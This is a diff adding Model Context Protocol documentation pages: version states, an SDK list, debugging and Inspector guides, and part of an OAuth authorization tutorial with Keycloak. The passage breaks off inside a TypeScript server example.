+* **Current**: the current protocol version, which is ready for use and may continue to
+ receive backwards compatible changes.
+* **Final**: past, complete specifications that will not be changed.
+
+The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/).
+
+## Feature States
+
+Individual features of the specification may additionally be marked as
+**Deprecated** under the
+[feature lifecycle and deprecation policy](/community/feature-lifecycle):
+the feature remains part of the specification, but is scheduled for removal.
+Deprecated features document a migration path (or state that none is required)
+and remain in the specification for at least twelve months, or at least
+ninety days under the policy's
+[expedited-removal exception](/community/feature-lifecycle#expedited-removal),
+before they become eligible for removal, after which they may be **Removed**
+in a future revision.
+
+## Negotiation
+
+Version negotiation happens during
+[initialization](/specification/2025-06-18/basic/lifecycle#initialization). Clients and
+servers **MAY** support multiple protocol versions simultaneously, but they **MUST**
+agree on a single version to use for the session.
+
+The protocol provides appropriate error handling if version negotiation fails, allowing
+clients to gracefully terminate connections when they cannot find a version compatible
+with the server.
diff --git a/content/mcp/docs/2025-06-18/sdk.md b/content/mcp/docs/2025-06-18/sdk.md
new file mode 100644
index 000000000..cf837aa8d
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/sdk.md
@@ -0,0 +1,51 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# SDKs
+
+> Official SDKs for building with Model Context Protocol
+
+Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers).
+
+## Available SDKs
+
+| SDK | Repository | Tier |
+| :----------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | ------------------------------------------------: |
+| [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 |
+| [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 |
+| [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 |
+| [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 |
+| [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 |
+| [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 |
+| Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 |
+| [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 |
+| [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 |
+| [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | Tier 3 |
+
+See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means.
+
+## Getting Started
+
+Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:
+
+* Creating MCP servers that expose tools, resources, and prompts
+* Building MCP clients that can connect to any MCP server
+* Local and remote transport protocols
+* Protocol compliance with type safety
+
+Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.
+
+## Next Steps
+
+Ready to start building with MCP? Choose your path:
+
+
+
+ Learn how to create your first MCP server
+
+
+
+ Create applications that connect to MCP servers
+
+
diff --git a/content/mcp/docs/2025-06-18/tools/debugging.md b/content/mcp/docs/2025-06-18/tools/debugging.md
new file mode 100644
index 000000000..9ee54c520
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/tools/debugging.md
@@ -0,0 +1,352 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Debugging
+
+> A comprehensive guide to debugging Model Context Protocol (MCP) integrations
+
+Effective debugging is essential when developing MCP servers or integrating
+them with applications. This guide covers the debugging tools and approaches
+available in the MCP ecosystem.
+
+## Debugging tools overview
+
+MCP provides several tools for debugging at different levels:
+
+1. **[MCP Inspector](/docs/2025-06-18/tools/inspector)**: interactive, transport-agnostic
+ testing UI. Connect to stdio or Streamable HTTP servers, invoke
+ [tools](/specification/2025-06-18/server/tools),
+ [prompts](/specification/2025-06-18/server/prompts), and
+ [resources](/specification/2025-06-18/server/resources), and watch the
+ notification stream. This should be your first stop.
+2. **Server logging**: structured logs to stderr (stdio transport) or via
+ [`notifications/message`](/specification/2025-06-18/server/utilities/logging#log-message-notifications)
+ (all transports).
+3. **Client developer tools**: most MCP clients expose logs and connection
+ state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop)
+ below for one example, or consult your client's documentation.
+
+## Implementing logging
+
+### Server-side logging
+
+When building a server that uses the local
+[stdio transport](/specification/2025-06-18/basic/transports#stdio), all messages
+logged to stderr (standard error) will be captured by the host application
+automatically.
+
+
+ Local MCP servers should not log messages to stdout (standard out), as this
+ will interfere with protocol operation.
+
+
+For servers using the
+[Streamable HTTP transport](/specification/2025-06-18/basic/transports#streamable-http),
+stderr is not captured by the client. Use the log message notifications below,
+your own server-side log aggregation, or standard HTTP tooling (curl, browser
+DevTools Network panel) to inspect requests,
+[`Mcp-Session-Id` headers](/specification/2025-06-18/basic/transports#session-management),
+and SSE streams.
+
+For all [transports](/specification/2025-06-18/basic/transports), you can also
+provide logging to the client by sending a log message notification:
+
+
+ ```python Python theme={null}
+ @server.tool()
+ async def my_tool(ctx: Context) -> str:
+ await ctx.session.send_log_message(
+ level="info",
+ data="Server started successfully",
+ )
+ return "done"
+ ```
+
+ ```typescript TypeScript theme={null}
+ await server.sendLoggingMessage({
+ level: "info",
+ data: "Server started successfully",
+ });
+ ```
+
+
+MCP defines eight
+[RFC 5424 severity levels](/specification/2025-06-18/server/utilities/logging#log-levels)
+(`debug` through `emergency`). Clients can adjust the minimum level at runtime
+via the
+[`logging/setLevel`](/specification/2025-06-18/server/utilities/logging#setting-log-level)
+request.
+
+Important events to log:
+
+* Initialization steps
+* Resource access
+* Tool execution
+* Error conditions
+* Performance metrics
+
+## Common issues
+
+The examples below use Claude Desktop's
+[`claude_desktop_config.json`](/docs/2025-06-18/develop/connect-local-servers); the same
+principles apply to any stdio-based MCP client.
+
+### Working directory
+
+When an MCP client launches a stdio server:
+
+* The working directory for servers launched via the client's config may be
+ undefined (like `/` on macOS) since the client could be started from
+ anywhere
+* Always use absolute paths in your configuration and `.env` files to ensure
+ reliable operation
+* For testing servers directly via command line, the working directory will be
+ where you run the command
+
+For example in `claude_desktop_config.json`, use:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/data"
+ ]
+ }
+ }
+}
+```
+
+Instead of relative paths like `./data`
+
+### Environment variables
+
+MCP servers launched over stdio inherit only a limited subset of environment
+variables automatically (the exact set is platform-dependent).
+
+To override the default variables or provide your own, you can specify an
+`env` key in `claude_desktop_config.json`:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "myserver": {
+ "command": "mcp-server-myapp",
+ "env": {
+ "MYAPP_API_KEY": "some_key"
+ }
+ }
+ }
+}
+```
+
+### Server initialization
+
+Common initialization problems:
+
+1. **Path Issues**
+ * Incorrect server executable path
+ * Missing required files
+ * Permission problems
+ * Try using an absolute path for `command`
+
+2. **Configuration Errors**
+ * Invalid JSON syntax
+ * Missing required fields
+ * Type mismatches
+
+3. **Environment Problems**
+ * Missing environment variables
+ * Incorrect variable values
+ * Permission restrictions
+
+### Connection problems
+
+When servers fail to connect:
+
+1. Check client logs
+2. Verify server process is running
+3. Test standalone with [Inspector](/docs/2025-06-18/tools/inspector)
+4. Verify
+ [protocol compatibility](/specification/2025-06-18/basic/lifecycle#version-negotiation)
+5. Check
+ [capability negotiation](/specification/2025-06-18/basic/lifecycle#capability-negotiation):
+ error [`-32602`](/specification/2025-06-18/basic/lifecycle#error-handling) is
+ the standard JSON-RPC "Invalid params" code and is returned in many
+ contexts. One common cause is a server sending
+ [sampling](/specification/2025-06-18/client/sampling) or
+ [elicitation](/specification/2025-06-18/client/elicitation) requests to a
+ client that hasn't declared that capability. Inspect the
+ [`initialize` exchange](/specification/2025-06-18/basic/lifecycle#initialization)
+ to verify both sides declared what you expect
+
+## Debugging in Claude Desktop
+
+Claude Desktop is one of many MCP clients. It is available on
+macOS and Windows.
+
+### Checking server status
+
+Click the "Add files, connectors, and more" plus icon in the chat input, then
+hover over the **Connectors** menu to see connected servers and available
+tools.
+
+
+
+### Viewing logs
+
+Log files are written to:
+
+* macOS: `~/Library/Logs/Claude`
+* Windows: `%APPDATA%\Claude\logs`
+
+
+ ```bash macOS theme={null}
+ tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "$env:AppData\Claude\logs\mcp*.log"
+ ```
+
+
+The logs capture:
+
+* Server connection events
+* Configuration issues
+* Runtime errors
+* Message exchanges
+
+### Using Chrome DevTools
+
+Access Chrome's developer tools inside Claude Desktop to investigate
+client-side errors:
+
+1. Create a `developer_settings.json` file with `allowDevTools` set to true:
+
+
+ ```bash macOS theme={null}
+ echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json
+ ```
+
+ ```powershell Windows theme={null}
+ '{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
+ ```
+
+
+2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)
+
+Note: You'll see two DevTools windows:
+
+* Main content window
+* App title bar window
+
+Use the Console panel to inspect client-side errors.
+
+Use the Network panel to inspect:
+
+* Message payloads
+* Connection timing
+
+## Debugging workflow
+
+### Development cycle
+
+1. Initial Development
+ * Use [Inspector](/docs/2025-06-18/tools/inspector) for basic testing
+ * Implement core functionality
+ * Add logging points
+
+2. Integration Testing
+ * Test in your target MCP client
+ * Monitor logs
+ * Check error handling
+
+### Testing changes
+
+To test changes efficiently:
+
+* **Configuration changes**: Restart the MCP client
+* **Server code changes**: Restart the client (for Claude Desktop, fully quit
+ and reopen; closing the window is not enough)
+* **Quick iteration**: Use [Inspector](/docs/2025-06-18/tools/inspector) during
+ development
+
+## Best practices
+
+### Logging strategy
+
+1. **Structured Logging**
+ * Use consistent formats
+ * Include context
+ * Add timestamps
+ * Track request IDs
+
+2. **Error Handling**
+ * Log stack traces
+ * Include error context
+ * Track error patterns
+ * Monitor recovery
+
+3. **Performance Tracking**
+ * Log operation timing
+ * Monitor resource usage
+ * Track message sizes
+ * Measure latency
+
+### Security considerations
+
+When debugging:
+
+1. **Sensitive Data**
+ * Sanitize logs
+ * Protect credentials
+ * Mask personal information
+
+2. **Access Control**
+ * Verify permissions
+ * Check authentication
+ * Monitor access patterns
+
+For a full treatment of MCP attack vectors and mitigations, see
+[Security Best Practices](/docs/2025-06-18/tutorials/security/security_best_practices).
+
+## Getting help
+
+When encountering issues:
+
+1. **First Steps**
+ * Check server logs
+ * Test with [Inspector](/docs/2025-06-18/tools/inspector)
+ * Review configuration
+ * Verify environment
+
+2. **Support Channels**
+ * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)
+ * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)
+
+3. **Providing Information**
+ * Log excerpts
+ * Configuration files
+ * Steps to reproduce
+ * Environment details
+
+## Next steps
+
+
+
+ Learn to use the MCP Inspector
+
+
+
+ Walk through building a server from scratch
+
+
+
+ Full claude\_desktop\_config.json reference and troubleshooting
+
+
diff --git a/content/mcp/docs/2025-06-18/tools/inspector.md b/content/mcp/docs/2025-06-18/tools/inspector.md
new file mode 100644
index 000000000..5eafa7b0b
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/tools/inspector.md
@@ -0,0 +1,144 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# MCP Inspector
+
+> In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers
+
+The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/docs/2025-06-18/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities.
+
+## Getting started
+
+### Installation and basic usage
+
+The Inspector runs directly through `npx` without requiring installation:
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+#### Inspecting servers from npm or PyPI
+
+A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org).
+
+
+
+ ```bash theme={null}
+ npx -y @modelcontextprotocol/inspector npx
+ # For example
+ npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector uvx
+ # For example
+ npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
+ ```
+
+
+
+#### Inspecting locally developed servers
+
+To inspect servers locally developed or downloaded as a repository, the most common
+way is:
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector node path/to/server/index.js args...
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector \
+ uv \
+ --directory path/to/server \
+ run \
+ package-name \
+ args...
+ ```
+
+
+
+Please carefully read any attached README for the most accurate instructions.
+
+## Feature overview
+
+
+
+
+
+The Inspector provides several features for interacting with your MCP server:
+
+### Server connection pane
+
+* Allows selecting the [transport](/specification/2025-06-18/basic/transports) for connecting to the server
+* For local servers, supports customizing the command-line arguments and environment
+
+### Resources tab
+
+* Lists all available resources
+* Shows resource metadata (MIME types, descriptions)
+* Allows resource content inspection
+* Supports subscription testing
+
+### Prompts tab
+
+* Displays available prompt templates
+* Shows prompt arguments and descriptions
+* Enables prompt testing with custom arguments
+* Previews generated messages
+
+### Tools tab
+
+* Lists available tools
+* Shows tool schemas and descriptions
+* Enables tool testing with custom inputs
+* Displays tool execution results
+
+### Notifications pane
+
+* Presents all logs recorded from the server
+* Shows notifications received from the server
+
+## Best practices
+
+### Development workflow
+
+1. Start Development
+ * Launch Inspector with your server
+ * Verify basic connectivity
+ * Check capability negotiation
+
+2. Iterative testing
+ * Make server changes
+ * Rebuild the server
+ * Reconnect the Inspector
+ * Test affected features
+ * Monitor messages
+
+3. Test edge cases
+ * Invalid inputs
+ * Missing prompt arguments
+ * Concurrent operations
+ * Verify error handling and error responses
+
+## Next steps
+
+
+
+ Check out the MCP Inspector source code
+
+
+
+ Learn about broader debugging strategies
+
+
diff --git a/content/mcp/docs/2025-06-18/tutorials/security/authorization.md b/content/mcp/docs/2025-06-18/tutorials/security/authorization.md
new file mode 100644
index 000000000..af2295f42
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/tutorials/security/authorization.md
@@ -0,0 +1,1061 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding Authorization in MCP
+
+> Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations
+
+Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.
+
+MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/2025-06-18/basic/authorization).
+
+## When Should You Use Authorization?
+
+While authorization for MCP servers is **optional**, it is strongly recommended when:
+
+* Your server accesses user-specific data (emails, documents, databases)
+* You need to audit who performed which actions
+* Your server grants access to its APIs that require user consent
+* You're building for enterprise environments with strict access controls
+* You want to implement rate limiting or usage tracking per user
+
+
+ **Authorization for Local MCP Servers**
+
+ For MCP servers using the [STDIO transport](/specification/2025-06-18/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.
+
+ OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.
+
+
+## The Authorization Flow: Step by Step
+
+Let's walk through what happens when a client wants to connect to your protected MCP server:
+
+
+
+ When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.
+
+ ```http theme={null}
+ HTTP/1.1 401 Unauthorized
+ WWW-Authenticate: Bearer realm="mcp",
+ resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
+ ```
+
+ This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.
+
+
+
+ With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.
+
+ ```json theme={null}
+ {
+ "resource": "https://your-server.com/mcp",
+ "authorization_servers": ["https://auth.your-server.com"],
+ "scopes_supported": ["mcp:tools", "mcp:resources"]
+ }
+ ```
+
+ You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r).
+
+
+
+ Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.
+
+ With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support)
+ and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.
+
+ ```json theme={null}
+ {
+ "issuer": "https://auth.your-server.com",
+ "authorization_endpoint": "https://auth.your-server.com/authorize",
+ "token_endpoint": "https://auth.your-server.com/token",
+ "registration_endpoint": "https://auth.your-server.com/register"
+ }
+ ```
+
+
+
+ With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.
+
+ First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.
+
+ Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:
+
+ ```json theme={null}
+ {
+ "client_name": "My MCP Client",
+ "redirect_uris": ["http://localhost:3000/callback"],
+ "grant_types": ["authorization_code", "refresh_token"],
+ "response_types": ["code"]
+ }
+ ```
+
+ If the registration succeeds, the authorization server will return a JSON blob with client registration information.
+
+
+ **No DCR or Pre-Registration**
+
+ In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.
+
+
+
+
+ The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:
+
+ ```json theme={null}
+ {
+ "access_token": "eyJhbGciOiJSUzI1NiIs...",
+ "refresh_token": "def502...",
+ "token_type": "Bearer",
+ "expires_in": 3600
+ }
+ ```
+
+ The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions.
+
+
+
+ Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:
+
+ ```http theme={null}
+ GET /mcp HTTP/1.1
+ Host: your-server.com
+ Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
+ ```
+
+ The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.
+
+
+
+## Implementation Example
+
+To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.
+
+Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine.
+
+### Keycloak Setup
+
+From your terminal application, run the following command to start the Keycloak container:
+
+```bash theme={null}
+docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
+```
+
+This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.
+
+
+ **Not for Production**
+
+ The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.
+
+
+You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`.
+
+
+
+
+
+When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:
+
+```http theme={null}
+http://localhost:8080/realms/master/.well-known/openid-configuration
+```
+
+We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.
+
+Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.
+
+
+
+
+
+After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.
+
+Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.
+
+To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.
+
+
+
+
+
+For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.
+
+
+ **Not for Production**
+
+ The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.
+
+
+Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.
+
+
+
+
+
+
+ **Getting the Host**
+
+ If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.
+
+
+Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that:
+
+1. Go to **Clients**.
+2. Click **Create client**.
+3. Give your client a unique **Client ID** and click **Next**.
+4. Enable **Client authentication** and click **Next**.
+5. Click **Save**.
+
+Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.
+
+When you open the client details, go to **Credentials** and take note of the **Client Secret**.
+
+
+
+
+
+
+ **Handling Secrets**
+
+ Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.
+
+
+With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:
+
+```text theme={null}
+eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
+```
+
+Decoded, it will look like this:
+
+```json theme={null}
+{
+ "alg": "RS256",
+ "typ": "JWT",
+ "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys"
+}.{
+ "exp": 1755540817,
+ "iat": 1755540757,
+ "auth_time": 1755538888,
+ "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
+ "iss": "http://localhost:8080/realms/master",
+ "aud": "http://localhost:3000",
+ "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
+ "typ": "Bearer",
+ "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
+ "sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
+ "scope": "mcp:tools"
+}.[Signature]
+```
+
+
+ **Embedded Audience**
+
+ Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.
+
+
+### MCP Server Setup
+
+We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/2025-06-18/sdk).
+
+For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.
+
+
+
+ You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth).
+
+ Prior to running the code below, ensure that you have a `.env` file with the following content:
+
+ ```env theme={null}
+ # Server host/port
+ HOST=localhost
+ PORT=3000
+
+ # Auth server location
+ AUTH_HOST=localhost
+ AUTH_PORT=8080
+ AUTH_REALM=master
+
+ # Keycloak OAuth client credentials
+ OAUTH_CLIENT_ID=
+ OAUTH_CLIENT_SECRET=
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.
+
+ In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.
+
+ ```typescript theme={null}
+ import "dotenv/config";
+ import express from "express";
+ import { randomUUID } from "node:crypto";
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
+ import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
+ import { z } from "zod";
+ import cors from "cors";
+ import {
+ mcpAuthMetadataRouter,
+ getOAuthProtectedResourceMetadataUrl,
+ } from "@modelcontextprotocol/sdk/server/auth/router.js";
+ import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
+ import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
+ import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
+ const CONFIG = {
+ host: process.env.HOST || "localhost",
+ port: Number(process.env.PORT) || 3000,
+ auth: {
+ host: process.env.AUTH_HOST || process.env.HOST || "localhost",
+ port: Number(process.env.AUTH_PORT) || 8080,
+ realm: process.env.AUTH_REALM || "master",
+ clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
+ clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
+ },
+ };
+
+ function createOAuthUrls() {
+ const authBaseUrl = new URL(
+ `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
+ );
+ return {
+ issuer: authBaseUrl.toString(),
+ introspection_endpoint: new URL(
+ "protocol/openid-connect/token/introspect",
+ authBaseUrl,
+ ).toString(),
+ authorization_endpoint: new URL(
+ "protocol/openid-connect/auth",
+ authBaseUrl,
+ ).toString(),
+ token_endpoint: new URL(
+ "protocol/openid-connect/token",
+ authBaseUrl,
+ ).toString(),
+ };
+ }
+
+ function createRequestLogger() {
+ return (req: any, res: any, next: any) => {
+ const start = Date.now();
+ res.on("finish", () => {
+ const ms = Date.now() - start;
+ console.log(
+ `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
+ );
+ });
+ next();
+ };
+ }
+
+ const app = express();
+
+ app.use(
+ express.json({
